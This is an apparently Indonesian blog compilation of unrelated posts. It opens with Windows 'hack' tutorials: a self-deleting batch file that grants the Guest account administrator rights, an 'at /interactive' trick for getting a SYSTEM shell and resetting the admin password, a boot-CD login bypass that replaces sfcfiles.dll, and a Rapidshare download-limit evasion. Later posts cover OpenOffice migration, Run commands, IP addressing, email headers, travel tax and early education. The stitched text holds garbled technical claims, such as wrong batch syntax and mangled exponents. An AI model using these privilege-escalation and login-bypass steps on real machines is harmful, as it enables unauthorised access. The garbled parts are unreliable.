Hack administrator dengan .bat

Ingat ini hanya digunakan bagi yang lupa password. Harap tidak disalahgunakan. Segala resiko menjadi tanggungjawab pembaca.

Langkah-langkahnya adalah sebagai berikut :
1. Salin kode dibawah ini kedalam notepad dan simpan dengan nama "Guest2admin.bat"
2. Klik 2 kali.
3. Itu saja.

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Hack menu administrator dari menu user

Seperti pada tulisan saya sebelumnya, prosedur menembus password administrator tidak selalu harus menggunakan tools rumit, tips berikut ini bahkan tidak menggunakan tools sama sekali.
Ingin tahu caranya ? silahkan disimak dengan baik

1. Penggunaan seni hacking ini adalah merupakan tanggungjawab pribadi pembaca dan hanya digunakan untuk kondisi : lupa password. Hacking yes Cracking no.
   
2. Lakukan test terlebih dahulu. Masuk ke command prompt (Start>Run>cmd). ketik : "at" (tanpa tanda kutip)
3. Jika respon yang muncul adalah "access denied" berarti trik ini tidak dapat dilanjutkan lagi. Jika respon yang muncul adalah "There are no entries in the list" trik ini masih dapat diteruskan.
4. Selanjutnya ketikkan kembali kode : at 16:00 /interactive "cmd.exe"
5. Kode "at" memerintahkan mesin untuk run dari menu command, apa saja perintah yang tertera setelah kode "at" akan dijalankan. Dalam hal ini kita memerintahkan mesin untuk merubah format jam dan memasang posisi jam yang baru, 1 menit lebih awal. Contoh : Jam didesktop komputer anda saat ini tertera 3:00pm. Dengan kode tersebut diatas maka anda memerintahkan mesin untuk merubah format jam menjadi format 24 jam dengan posisi jam menunjukkan pukul 16:00 dan gunakan 16:01 sebagai start waktu. Perhatikan apakah waktu di PC anda berubah? jika ya lanjutkan ke trik nomor 5.
6. Setelah menyadari bahwa anda bisa merubah jam hanya dari cmd.exe melalui svchost.exe (short for service host) maka anda bisa pula melakukan perubahan lainnya sesuai yang anda inginkan. Mengapa bisa demikian? Sekedar informasi saja : saat anda memberikan perintah cmd.exe sebenarnya yang sedang dijalankan mesin bukanlah perintah anda sebagai user tetapi sebagai SYSTEM. Celah kelemahan inilah yang akan kita manfaatkan.
7. Sekarang minimize menu command prompt. Jalankan Task Manager dengan menekan CTRL+ALT+DEL secara bersamaan atau ketik di menu RUN : taskmgr
8. Pada menu Task Manager, klik processes tab, matikan explorer.exe dengan menekan tombol end process. Desktop anda dan semua folder yang terbuka pasti akan menghilang, namun system command prompt tetap ada.
9. Pada command prompt selanjutnya ketikkan : explorer.exe
10. Desktop akan muncul kembali. Tapi itu bukan desktop anda ...teman, namun desktop system. Untuk memastikan lihat ke start menu dan lihat user namenya. Disitu pasti tertera "System". Juga jika anda kembali ke task manager anda akan melihat explorer.exe berjalan sebagai SYSTEM.
11. Dengan tehnik seperti ini maka anda akan bisa melakukan reset terhadap password administrator dan menghapusnya. Tentu saja anda sebagai SYSTEM.
12. Untuk menjelajah menu RUN, gunakan info saya pada tulisan RAHASIA RUN DALAM WINDOWS...
    
13. Itu saja.
    

Hack premium download dari Rapidshare

Mungkin ada diantara kita yang pernah merasakan bahwa untuk pertama kali download dari rapidshare akan dimulai dalam waktu kurang dari 1 menit. Untuk Download kedua, Rapidshare biasanya akan memberikan tenggang waktu menunggu yang relatif lama. Ini dilakukan untuk memaksa kita membeli versi premium.

Rapidshare sebenarnya menggunakan IP Address kita sebagai pengenal. Untuk IP address yang baru dikenali, maka Rapidshare akan menganggapnya sebagai konsumen baru sehingga langsung diberi akses untuk mendownload. Setelah IP address kita tercatat, maka proses download kedua dan seterusnya akan diberi tenggang waktu.

Untuk itu diperlukan trik untuk merubah IP Address kita senantiasa baru, sehingga dapat mengecoh Rapidshare. Dengan cara manual kita bisa saja merubah IP Address ,tapi jelas tidak efektif.

Sebenarnya ada cara lebih baik, yaitu tetap gratis tapi tanpa proses menunggu...!

Bagaimana caranya? ikuti seni hack berikut ini :

1. Penggunaan seni hacking ini adalah merupakan tanggungjawab pribadi pembaca. Hacking yes Cracking no.
   
2. Download Cryptload. (gunakan Google untuk mencari)
3. Tampilan cryptload seperti dibawah ini.
4. Setting modem router anda seperti gambar dibawah ini. Wait time ditulis tiap 15 detik.
5. Kumpulkan semua link Rapidshare yang hendak didownload seperti gambar dibawah ini. Tulis dalam notepad.
6. Run Cryptload
7. Pada text file, tekan CTRL+A untuk memilih semua, lalu tekan CTRL+C. Link collector akan ditampilkan dan akan secara automatically mendecrypt daftar links.
8. Tekan tombol Add and tekan OK di Package settings.
9. Cryptload akan secara otomatis melakukan download ke Rapidshare. Proses download untuk file berikutnya akan dilakukan tiap 15 detik secara otomatis dengan IP yang berbeda secara otomatis pula.
10. Cryptload juga dapat melakukan download tanpa melalui CAPTCHA code.
11. Itu saja.
    

Hack Password login windows

Berikut langkah-langkahnya :

1. Penggunaan seni hacking ini adalah merupakan tanggungjawab pribadi pembaca dan hanya digunakan untuk kondisi : lupa password. Hacking yes Cracking no.
   
2. Diperlukan sarana fisik yaitu CD dan CD ROM Player.
3. Download DreamPackPL. Gunakan Google untuk mencari.
   
4. Unzip dreampackpl_iso.zip dan anda akan menemukan icon dreampackpl.ISO.
5. Gunakan sembarang program burning untuk membakar ISO images ke dalam CD.
6. Setelah jadi dalam bentuk CD atur komputer yang akan dibobol tersebut untuk booting awal melalui CD. Gunakan setup saat awal booting untuk masuk kemenu BIOS. Anda akan melihat Windows 2000 akan memuat beberapa file.
   
7. Tekan"R" untuk install DreamPackPL.
8. Tekan "C" untuk install DreamPackPL by dengan menggunakan recovery console.
9. Pilih Windows installation yang ada saat itu (biasanya adalah "1" jika anda hanya punya Windows)
10. Backup file original sfcfiles.dll dengan mengetik : "ren C:\Windows\System32\sfcfiles.dll sfcfiles.lld" (tanpa tanda petik)
    
11. Copy the hacked file dari CD ke system32 folder. Ketik : "copy D:\i386\pinball.ex_ C:\Windows\System32\sfcfiles.dll" (tanpa tanda petik dan asumsi CD drive adalah D:)
12. Ketik "exit", keluarkan disk and reboot.
13. Didalam field password , ketik "dreamon" (tanpa tanda petik) dan DreamPack menu akan muncul.
14. Klik grafik atas menuDreamPack dan anda akan mendapatkan menu popup.
15. Hack Windows Login Dreamon
16. Go to commands dan enable the options dan enable the god command.
17. Bypass dan hack user account passwords
18. Ketik "god" didalam field password untuk masuk Windows. Anda juga harus ke field Passwords and pilih "Logon with wrong password and hash". Option ini akan mengijinkan anda untuk login dengan password sembarang.
19. Catatan : Hack-Tool is bukanlah virus. DreamPackPL akan menolong anda untuk membypass layar login Windows dan itu tidak merusak.
20. Itu saja.
    

Migrasi dari Microsoft Office ke Open Office

By Ugos

Sekilas tampak sederhana berpindah aplikasi perkantoran dari Microsoft Office ke Open Office. Mengingat fitur-fitur standar yang ada pada Microsoft Office sudah ada pada Open Office, meskipun ada beberapa perbedaan namun sebenarnya perbedaan tersebut dapat dipelajari.

Ternyata pelaksanaan migrasi dari Microsoft Office ke Open Office lebih susah daripada migrasi system operasi itu sendiri (migrasi dari Windows ke Linux). Hal ini disebabkan ketakutan user pertama kali ketika menggunakan Open Office. Takut data tidak terbaca/kacau, takut kesulitan, dan takut harus belajar lagi dari Nol, yang akan berefek pada tingkat produktivitas dan mendapat ’semprotan’ dari atasan karena tidak dapat mencetak data segera (sak det sak nyet)

Memang ketika migrasi menggunakan Open Office akan ada beberapa data dari Microsoft Office yang terlihat kacau sehingga mau tidak mau user harus melakukan editing ulang. Kekacauan tersebut terjadi karena;

1. Perbedaan jenis font, hal ini dapat diatasi dengan memasukkan font-font Microsoft Office ke system Linux, solusinya dengan menambahkan font windows pada system.
2. Tabel dan gambar, penanganan gambar dan tabel pada Microsoft Office dan OpenOffice memang berbeda. Kemungkinan ketika membuka dokumen doc yang mengandung tabel dan gambar akan terlihat sedikit berantakan di Open Office. Tapi dengan meluangkan sedikit waktu, sebenarnya kita dapat memperbaiki dokumen-dokumen tersebut dan menyimpannya dalam format OpenOffice
3. Menu dan interface yang berbeda. Open Office dan Microsoft Office memiliki perbedaan mendasar pada peletakan menu-menunya. Bagi pengguna yang sudah sangat familiar dengan Ms.Office tentu akan merasa tidak nyaman dengan perubahan tersebut. Dalam hal ini sangat bergantung dengan kemauan (willingnes) dari pengguna untuk mempelajari dan beradaptasi dengan perubahan
4. Mail Merge, sangat berbeda antara Microsoft Office dan Open Office. Dokumen mail merge dari Microsoft Office sendiri tidak dapat dibaca oleh Open Office, oleh karena itu pengguna harus membuat ulang dokumen mail merge tersebut. Namun apabila pengguna telah terampil, penggunaan mail merge pada Open Office jauh lebih fleksibel dan mudah daripada menggunakan mail merge dengan Microsoft Office

Masih banyak kendala-kendala lainnya yang dirasakan ketika pengguna bermigrasi menggunakan Open Office, seperti perbedaan printing, membuat file presentasi, dan pengolahan data dengan spreadsheet. Oleh karena itu, diperlukan support yang solid untuk menjembatani kendala yang muncul ketika pengguna menggunakan Open Office. Sedangkan dari sisi pengguna sendiri, mereka harus memiliki kesadaran yang tinggi dan memiliki kemauan yang kuat meluangkan sedikit waktu untuk beradaptasi dengan OpenOffice.

Download dari You Tube

Suka movie dari you tube, tapi tidak bisa di download?

Ini Solusinya :

• Kunjungi www.file2hd.com
• Isikan ke dalam kolom URL alamat filenya (copy paste saja), beri filter movies.
• Centang term conditionnya
• Anda akan diberikan link untuk mendownload file .flv atau .mp4
• Klik kanan link, dan save as
• Tersedia juga .mp3 untuk lagu atau file .swf untuk file flash
• Selamat menikmati...

Rahasia RUN dalam Windows

Klik Start > Run , lalu ketikkan perintah tersebut dibawah ini

Accessibility Controls...................................................access.cpl
Add Hardware Wizard.................................................hdwwiz.cpl
Add/Remove Programs..............................................appwiz.cpl
Administrative Tools...................................................control admintools
Automatic Updates......................................................wuaucpl.cpl
Bluetooth Transfer Wizard.........................................fsquirt
Calculator......................................................................calc
Certificate Manager.....................................................certmgr.msc
Character Map..............................................................charmap
Check Disk Utility........................................................chkdsk
Clipboard Viewer.........................................................clipbrd
Command Prompt.......................................................cmd
Component Services...................................................dcomcnfg
Computer Management.............................................compmgmt.msc
timedate.cpl.................................................................ddeshare
Device Manager..........................................................devmgmt.msc
Direct X Control Panel (If Installed)*......................directx.cpl
Direct X Troubleshooter............................................dxdiag
Disk Cleanup Utility...................................................cleanmgr
Disk Defragment.........................................................dfrg.msc
Disk Management.......................................................diskmgmt.msc
Disk Partition Manager..............................................diskpart
Display Properties......................................................control desktop
Display Properties......................................................desk.cpl
Display Properties (w/Appearance Tab Preselected)...............control color
Dr. Watson System Troubleshooting Utility...........drwtsn32
Driver Verifier Utility................................................verifier
Event Viewer...............................................................eventvwr.msc
File Signature Verification Tool.................................sigverif
Findfast........................................................................findfast.cpl
Folders Properties......................................................control folders
Fonts.............................................................................control fonts
Fonts Folder................................................................fonts
Free Cell Card Game..................................................freecell
Game Controllers........................................................joy.cpl
Group Policy Editor (XP Prof)..................................gpedit.msc
Hearts Card Game.....................................................mshearts
Iexpress Wizard.........................................................iexpress
Indexing Service........................................................ciadv.msc
Internet Properties...................................................inetcpl.cpl
IP Configuration (Display Connection Configuration).........ipconfig /all
IP Configuration (Display DNS Cache Contents).................ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)...................ipconfig /flushdns
IP Configuration (Release All Connections)..........................ipconfig /release
IP Configuration (Renew All Connections)...........................ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS)....ipconfig /registerdns
IP Configuration (Display DHCP Class ID)...............ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID).............ipconfig /setclassid
Java Control Panel (If Installed).............................jpicpl32.cpl
Java Control Panel (If Installed)..............................javaws
Keyboard Properties................................................control keyboard
Local Security Settings.............................................secpol.msc
Local Users and Groups...........................................lusrmgr.msc
Logs You Out Of Windows.......................................logoff
Microsoft Chat...........................................................winchat
Minesweeper Game..................................................winmine
Mouse Properties......................................................control mouse
Mouse Properties......................................................main.cpl
Network Connections................................................control netconnections
Network Connections...............................................ncpa.cpl
Network Setup Wizard.............................................netsetup.cpl
Notepad......................................................................notepad
Nview Desktop Manager (If Installed)..................nvtuicpl.cpl
Object Packager........................................................packager
ODBC Data Source Administrator..........................odbccp32.cpl
On Screen Keyboard................................................osk
Opens AC3 Filter (If Installed)..............................ac3filter.cpl
Password Properties................................................password.cpl
Performance Monitor..............................................perfmon.msc
Performance Monitor..............................................perfmon
Phone and Modem Options....................................telephon.cpl
Power Configuration................................................powercfg.cpl
Printers and Faxes..................................................control printers
Printers Folder.........................................................printers
Private Character Editor........................................eudcedit
Quicktime (If Installed)..........................................QuickTime.cpl
Regional Settings.....................................................intl.cpl
Registry Editor........................................................regedit
Registry Editor........................................................regedit32
Remote Desktop......................................................mstsc
Removable Storage.................................................ntmsmgr.msc
Removable Storage Operator Requests...............ntmsoprq.msc
Resultant Set of Policy (XP Prof)..........................rsop.msc
Scanners and Cameras...........................................sticpl.cpl
Scheduled Tasks.....................................................control schedtasks
Security Center......................................................wscui.cpl
Services...................................................................services.msc
Shared Folders.......................................................fsmgmt.msc
Shuts Down Windows............................................shutdown
Sounds and Audio..................................................mmsys.cpl
Spider Solitare Card Game...................................spider
SQL Client Configuration......................................cliconfg
System Configuration Editor................................sysedit
System Configuration Utility................................msconfig
System File Checker Utility (Scan Immediately)..........sfc /scannow
System File Checker Utility (Scan Once At Next Boot)...........sfc /scanonce
System File Checker Utility (Scan On Every Boot)............sfc /scanboot
System File Checker Utility (Return to Default Setting)..........sfc /revert
System File Checker Utility (Purge File Cache).............sfc /purgecache
System File Checker Utility (Set Cache Size to size x) ............sfc /cachesize=x
System Properties................................................sysdm.cpl
Task Manager.......................................................taskmgr
Telnet Client..........................................................telnet
User Account Management.................................nusrmgr.cpl
Utility Manager.....................................................utilman
Windows Firewall..................................................firewall.cpl
Windows Magnifier...............................................magnify
Windows Management Infrastructure..............wmimgmt.msc
Windows System Security Tool..........................syskey
Windows Update Launches................................wupdmgr
Windows XP Tour Wizard...................................tourstart
Wordpad................................................................write

Menjalankan baris perintah bisa jadi sangat bermanfaat bagi mereka yang terbiasa menggunakan menu RUN.

Run Line Commands

Ini adalah GUI applications yang dapat dibuka di menu RUN. Aplikasi ini tidak berada di C:\windows\system32\directory, melainkan di menu registry : HKLM\software\microsoft\windows\currentversion\app paths

BCKGZM.EXE - Backgammon

CHKRZM.EXE - Checkers

CONF.EXE - NetMeeting

DIALER.EXE - Phone Dialer

HELPCTR.EXE - Help and Support

HRTZZM.EXE - Internet Hearts

HYPERTRM.EXE - HyperTerminal

ICWCONN1.EXE - Internet Connection Wizard

IEXPLORE.EXE - Internet Explorer

INETWIZ.EXE - Setup Your Internet Connection

INSTALL.EXE - User's Folder

MIGWIZ.EXE - File and Settings Transfer Wizard

MOVIEMK.EXE - Windows Movie Maker

MPLAYER2.EXE - Windows Media Player Version 6.4.09.1120

MSCONFIG.EXE - System Configuration Utility

MSIMN.EXE - Outlook Express

MSINFO32.EXE - System Information

MSMSGS.EXE - Windows Messenger

MSN6.EXE - MSN Explorer

PBRUSH.EXE - Paint

PINBALL.EXE - Pinball

RVSEZM.EXE - Reversi

SHVLZM.EXE - Spades

TABLE30.EXE - User's Folder

WAB.EXE - Windows Address Book

WABMIG.EXE - Address Book Import Tool

WINNT32.EXE - User's Folder

WMPLAYER.EXE - Windows Media Player

WRITE.EXE - Wordpad

Perintah berekstensi .EXE tersimpan di (c:\windows\system32\) atau(c:\windows\) directory.

ACCWIZ.EXE - Accessibility Wizard

CALC.EXE - Calculator

CHARMAP.EXE - Character Map

CLEANMGR.EXE - Disk Space Cleanup Manager

CLICONFG.EXE - SQL Client Configuration Utility

CLIPBRD.EXE - Clipbook Viewer

CLSPACK.EXE - Class Package Export Tool

CMD.EXE - Command Line

CMSTP.EXE - Connection Manager Profile Installer

CONTROL.EXE - Control Panel

DCOMCNFG.EXE - Component Services

DDESHARE.EXE - DDE Share

DRWATSON.EXE - Doctor Watson v1.00b

DRWTSN32.EXE - Doctor Watson Settings

DVDPLAY.EXE - DVD Player

DXDIAG.EXE - DirectX Diagnostics

EUDCEDIT.EXE - Private Character Editor

EVENTVWR.EXE - Event Viewer

EXPLORER.EXE - Windows Explorer

FREECELL.EXE - Free Cell

FXSCLNT.EXE - Fax Console

FXSCOVER.EXE - Fax Cover Page Editor

FXSEND.EXE - MS Fax Send Note Utility

IEXPRESS.EXE - IExpress 2.0

LOGOFF.EXE - System Logoff

MAGNIFY.EXE - Microsoft Magnifier

MMC.EXE - Microsoft Management Console

MOBSYNC.EXE - Microsoft Synchronization Manager

MPLAY32.EXE - Windows Media Player version 5.1

MSHEARTS.EXE - Hearts

MSPAINT.EXE - Paint

MSTSC.EXE - Remote Desktop Connection

NARRATOR.EXE - Microsoft Narrator

NETSETUP.EXE - Network Setup Wizard

NOTEPAD.EXE - Notepad

NSLOOKUP.EXE - NSLookup Application

NTSD.EXE - Symbolic Debugger for Windows 2000

ODBCAD32.EXE - ODBC Data Source Administrator

OSK.EXE - On Screen Keyboard

OSUNINST.EXE - Windows Uninstall Utility

PACKAGER.EXE - Object Packager

PERFMON.EXE - Performance Monitor

PROGMAN.EXE - Program Manager

RASPHONE.EXE - Remote Access Phonebook

REGEDIT.EXE - Registry Editor

REGEDT32.EXE - Registry Editor

RESET.EXE - Resets Session

RSTRUI.EXE - System Restore

RTCSHARE.EXE - RTC Application Sharing

SFC.EXE - System File Checker

SHRPUBW.EXE - Create Shared Folder

SHUTDOWN.EXE - System Shutdown

SIGVERIF.EXE - File Signature Verification

SNDREC32.EXE - Sound Recorder

SNDVOL32.EXE - Sound Volume

SOL.EXE - Solitaire

SPIDER.EXE - Spider Solitaire

SYNCAPP.EXE - Create A Briefcase

SYSEDIT.EXE - System Configuration Editor

SYSKEY.EXE - SAM Lock Tool

TASKMGR.EXE - Task Manager

TELNET.EXE - MS Telnet Client

TSSHUTDN.EXE - System Shutdown

TOURSTART.EXE - Windows Tour Launcher

UTILMAN.EXE - System Utility Manager

USERINIT.EXE - My Documents

VERIFIER.EXE - Driver Verifier Manager

WIAACMGR.EXE - Scanner and Camera Wizard

WINCHAT.EXE - Windows for Workgroups Chat

WINHELP.EXE - Windows Help Engine

WINHLP32.EXE - Help

WINMINE.EXE - Minesweeper

WINVER.EXE - Windows Version Information

WRITE.EXE - WordPad

WSCRIPT.EXE - Windows Script Host Settings

WUPDMGR.EXE - Windows Update

Untuk aplikasi Control Panel juga bisa melalui menu RUN. Lokasi file ada di c:\windows\system32 directory, dengan ekstensi ".CPL".

ACCESS.CPL - Accessibility Options

APPWIZ.CPL - Add or Remove Programs

DESK.CPL - Display Properties

HDWWIZ.CPL - Add Hardware Wizard

INETCPL.CPL - Internet Explorer Properties

INTL.CPL - Regional and Language Options

JOY.CPL - Game Controllers

MAIN.CPL - Mouse Properties

MMSYS.CPL - Sounds and Audio Device Properties

NCPA.CPL - Network ConnectionsNUSRMGR.CPL - User Accounts

ODBCCP32.CPL - ODBC Data Source Administrator

POWERCFG.CPL - Power Options Properties

SYSDM.CPL - System Properties

TELEPHON.CPL - Phone and Modem Options

TIMEDATE.CPL - Date and Time

Untuk Microsoft Management Console Snap-ins pun bisa dibuka melalui menu RUN. Aplikasi berekstensi ".MSC".

CERTMGR.MSC - Certificates

CIADV.MSC - Indexing Service

COMPMGMT.MSC - Computer Management

DEVMGMT.MSC - Device Manager

DFRG.MSC - Disk Defragmenter

DISKMGMT.MSC - Disk Management

EVENTVWR.MSC - Event Viewer

FSMGMT.MSC - Shared Folders

LUSRMGR.MSC - Local Users and Groups

NTMSMGR.MSC - Removable Storage

NTMSOPRQ.MSC - Removable Storage Operator Requests

PERFMON.MSC - Performance Monitor

SERVICES.MSC - ServicesWMIMGMT.MSC -

Windows Management Infrastructure

Tahukah kalian jika didalam windows XP terdapat film "Star Wars"???

Untuk memainkan anda harus terhubung dengan internet.

Go to Starts-->Programs-->Run ketik telnet towel.blinkenlights.nl

dan tekan enter........selamat menikmati...!!!!

IP Address Penyebar Virus

Oleh jonru/sumber:vaksin.com

Sebuah tulisan menarik disebarluaskan oleh Vaksin.com tanggal 24 Mei 2006 lalu. Disebutkan, terdapat sejumlah IP Address lokal yang rajin menyebarluaskan virus melalui e-mail. Karena itu, merupakan tanggung jawab kita bersama untuk mengatasinya.

Untuk mengetahui siapa pengirim sebuah virus yang terkirim lewat e-mail, cara terbaik bukanlah dengan melihat alamat e-mail si pengirim. Sebab seringkali terjadi, si virus "meminjam" alamat e-mail orang lain untuk menyebarluaskan virus tersebut. Suatu saat nanti, Anda mungkin kaget karena menerima e-mail bervirus dari alamat e-mail Anda sendiri. Padahal Anda sama sekali tak pernah mengirim e-mail tersebut. (Penulis beberapa kali menerima e-mail caci maki dari netter yang menerima e-mail bervirus atas nama alamat e-mail penulis. Mungkin si pencaci maki sedang emosi dan belum tahu bahwa virus bisa melakukan apa saja, termasuk "melakukan fitnah" dengan cara meminjam alamat e-mail orang yang tak bersalah).

Alfons Tanujaya dari Vaksin.com mengatakan, cara terbaik untuk mengetahui siapa yang mengirimkan e-mail bervirus tersebut adalah dengan membaca header e-mail. Seperti kita ketahui, siapa saja dapat mengirim surat lewat pos dengan menggunakan "alamat pengirim palsu". Tapi satu hal yang tak dapat disembunyikan adalah "cap pos" yang mengindikasikan dari kantor pos mana surat tersebut dikirim.

Nah, e-mail pun demikian. Setiap orang dapat mengirim e-mail dengan menggunakan alamat palsu. Namun, yang tidak dapat dipalsukan adalah IP (Internet Protocol) dari server pengirim e-mail. Berdasarkan IP dan waktu pengiriman e-mail inilah identitas komputer yang mengirimkan virus dapat ditentukan.

Setelah IP-nya ketahuan, langkah berikutnya adalah mengidentifikasi siapa pemilik blok IP tersebut. Salah satu penyedia layanan untuk tujuan ini adalah www.apjii.or.id/tools. Anda tinggal memasukkan alamat IP pengirim virus ke dalam tools, dan dalam waktu singkat Anda akan mendapatkan informasi yang memadai.

Memang pada umumnya ISP melindungi data pribadi pelanggan sehingga kita tidak dapat mengetahui data detail si pengguna IP address tersebut. Namun, data yang kita miliki dapat dijadikan alat bukti yang cukup ampuh untuk melakukan pelaporan ke ISP. Alamat e-mail yang biasa digunakan oleh ISP untuk menerima pengaduan SPAM atau virus adalah admin(at)nama_ isp atau abuse(at)nama_isp. Untuk CBN, Anda dapat mengirim e-mail ke abuse(at)cbn.net.id.

Menurut Vaksin.com, ada beberapa hal yang perlu kita lakukan jika menerima e-mail bervirus.

Jangan marah atau langsung reply karena Anda akan malu sendiri. E-mail sender (pengirim) virus umumnya dipalsukan oleh virus.

Lihat header e-mail dan tentukan IP pengirim virus. (Kalau Anda menggunakan Outlook, klik-kanan pada e-mail, pilih [Options], dan lihat data di "Internet Headers". Kalau datanya banyak, kopikan ke Notepad dan lihat pelan-pelan sambil makan siang.

Identifikasi pemilik IP. Umumnya Anda dapat temukan informasi ini di X-originating IP. Tetapi dalam beberapa kasus, informasi ini kurang akurat dan kami sarankan Anda untuk menganalisa Header e-mail lengkap. Kalau membutuhkan bantuan, minta bantuan Admin ISP Anda.

Gunakan tools identifikasi IP yang banyak tersedia di internet. Salah satunya adalah www.apjii.or.id/tools.

Kalau pemiliknya sudah diketahui, kirimkan Full Header email tersebut ke Admin ISP dan informasikan bahwa IP-nya mengirimkan virus. Menurut pengalaman Vaksin.com selama ini, semua admin ISP sangat kooperatif dan mereka senang sekali membantu karena hal ini juga membantu mengefisienkan bandwidth ISP yang bersangkutan.

Berikut adalah sejumlah IP Address yang terdeteksi mengirimkan virus (data dari Vaksin.com).

202.155.43.1** 202.53.232.** 61.5.68.1** 202.73.115.1** 202.150.80.** 202.159.61.** 202.155.144.1** 203.130.215.** 4.79.181.** 202.169.224.** 203.153.117.** 202.169.245.** 202.62.21.1** 4.79.181.** 202.78.207.2** 202.147.196.** 202.95.157.** 202.78.207.2** 202.62.21.1** 203.153.117.** 202.62.21.1** 202.169.224.** 210.210.131.** 61.5.100.** 202.169.224.** 219.83.18.** 202.169.36.1** 202.51.237.2** 202.51.237.2** 202.152.7.** 202.147.196.** 202.43.165.1** 202.152.7.**

(jonru/sumber:vaksin.com)

Seluk Beluk IP Address

1. Network dan Host Address

IP address dibangun berdasarkan konsep network dan host. Perhatikan ilustrasi berikut yang menggambarkan contoh IP address 192.168.3.10

192 168 3 10
network network network host

Network address: Nilai unik yang mengidentifikasi kelompok atau grup network. Setiap mesin dalam network yang sama akan memiliki network address sama pula. Seperti pada contoh, 192.168.3 merupakan porsi network address IP address 192.168.3.10.

Host address: Nilai unik yang mengidentifikasi setiap mesin dalam sebuah network. Nilai ini harus spesifik karena membedakan mesin individu dalam sebuah grup network. Seperti pada contoh, 10 merupakan porsi host address IP address 192.168.3.1.2.

2.Kelas IP Address
Agar memudahkan administrasi, perancangan, dan skema pengalamatan IP dalam jaringan, kita perlu mengklasifikasikan IP address, yaitu Kelas A, B, C, D, dan E. Untuk saat ini yang kita bahas hanya kelas A, B, dan C karena ketiga kelas IP tersebut yang sering digunakan.

Cara termudah mengetahui IP address adalah dengan memperhatikan nilai octet PERTAMA (nilai 8 bit pertama) yang dimiliki IP address.

KELAS A
IP address kelas A memiliki range network address: 0 - 127
Misalnya: 123.10.11.12
Octet pertama IP address memiliki nilai 123. Nilai ini masuk pada range 0 - 127 sehingga 123.10.11.12 merupakan IP address kelas A.
Notes: Address yang dimulai dengan “127″ merupakan loopback address, tidak disarankan untuk melakukan addressing host normal. Oleh karena itu pada network kelas A kita hanya memiliki range address 0 - 126.
Jumlah host yang bisa dibentuk kelas A adalah:
224 - 2 = 16.777.214

KELAS B
IP address kelas B memiliki range network address: 128 - 191
Misalnya: 150.20.21.22
Jumlah host yang bisa dibentuk kelas B adalah:
216 - 2 = 65.534

KELAS C
IP address kelas C memiliki range network address: 192 - 223
Misalnya: 198.30.31.100
Jumlah host yang bisa dibentuk kelas C adalah:
28 - 2 = 254

3. IP Address Khusus
IP Address Privat
Beberapa IP address tertentu dikelompokkan sebagai IP address privat, dimana IP address ini tidak dirutekan melintasi jaringan internet tetapi dirutekan dalam lingkungan intranet.. IP address tersebut adalah:
10.0.0.0 - 10.255.255.255
172.16.0.0 - 172.31.255.255
192.168.0.0 - 192.168.255.255
Device jaringan intranet ini biasanya menggunakan range di atas, Contohnya 192.168.1.1 - 192.168.1.255. Ketika ingin terkoneksi ke internet, biasanya IP address ini akan berbagi sebuah IP address publik melalui konfigurasi NAT (Network Address Translation).

IP Address Localhost
Komputer secara tidak langsung baik memiliki adapter jaringan atau tidak, pada dasarnya sudah memiliki IP address built-in. IP address built-in memungkinkan aplikasi (yang membutuhkan konektivitas jaringan) dapat berkomunikasi satu sama lain. IP address built-in biasanya 127.0.0.1 dan dikenal sebagai IP address localhost.

Melihat IP Address Pengirim Email Anda

Berikut saya memberikan sebuah tutorial bagaimana anda bisa melihat IP Address dan info detail pengirim email anda.

Untuk Yahoo Mail.
1. Login ke account email anda ( http://mail.yahoo.com/ ).
2. Masuk ke inbox dan buka salah satu email yang ingin anda lihat.
3. Pada pojok kanan bawah cari menu tulisan “Full Headers” dan klik tulisan tersebut.
4. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Untuk Gmail / Google Mail.
1. Login ke account email anda ( http://gmail.com/ ).
2. Masuk ke inbox
3. Buka salah satu email yang ingin anda lihat,
4. Lihat kanan di bagian atas ada pilihan Reply, terus disamping tulisan Reply ada tanda panah ke bawah, klik tanda panah tersebut dan pilih Show Original.
5. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Untuk Hotmail.
1. Login ke account email anda ( http://hotmail.com/ ).
2. Buka salah satu email yang ingin anda lihat
3. Klik kanan email tersebut dan pilih View Source.
4. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Untuk Outlook Express.
1. Buka program Outlook Express dan login ke email anda.
2. Klik kanan pada salah satu email yang ingin anda lihat.
3. Klik menu Properties.
4. Klik tab Detail.
5. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Untuk Microsoft Outlook.
1. Buka program Outlook Express dan login ke email anda.
2. Klik kanan pada salah satu email yang ingin anda lihat dan pilih Options
3. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Bebas Fiskal...Cihui...

Akhirnya Pemerintah membebaskan fiskal (Pajak penghasilan karena perjalanan ke Luar Negeri) dari setiap warga negaranya yang bepergian keluar Negeri. Indonesia adalah negara satu-satunya di Dunia yang mengenakan pajak Warganya jika ingin keluar negeri. Negara negara miskin di Afrika saja tidak melakukannya ...

Beruntung, tahun 2009 ini Pemerintah menetapkan pembebasan fiskal meski dengan syarat harus dapat menunjukkan NPWP. Menurut saya itu masih lebih gentle . Mudah-mudahan ini bukan manuver politik mencari muka menjelang pemilu 2009.

Bye..bye..fiskal...

Ok... lets go...around the world...

Anak-Anak Karbitan

Oleh Dewi Utama Faizah

Anak-anak yang digegas Menjadi cepat mekar Cepat matang Cepat layu…

Pendidikan bagi anak usia dini sekarang tengah marak-maraknya. Dimana mana orang tua merasakan pentingnya mendidik anak melalui lembaga persekolahan yang ada. Mereka pun berlomba untuk memberikan anak-anak mereka pelayanan pendidikan yang baik. Taman kanak-kanak pun berdiri dengan berbagai rupa, di kota hingga ke desa.. Kursus-kursus kilat untuk anak-anak pun juga bertaburan di berbagai tempat. Tawaran berbagai macam bentuk pendidikan ini amat beragam. Mulai dari yang puluhan ribu hingga jutaan rupiah per bulannya. Dari kursus yang dapat membuat otak anak cerdas dan pintar berhitung, cakap berbagai bahasa, hingga fisik kuat dan sehat melalui kegiatan menari, main musik dan berenang. Dunia pendidikan saat ini betul-betul penuh dengan denyut kegairahan. Penuh tawaran yang menggiurkan yang terkadang menguras isi kantung orangtua … Captive market!

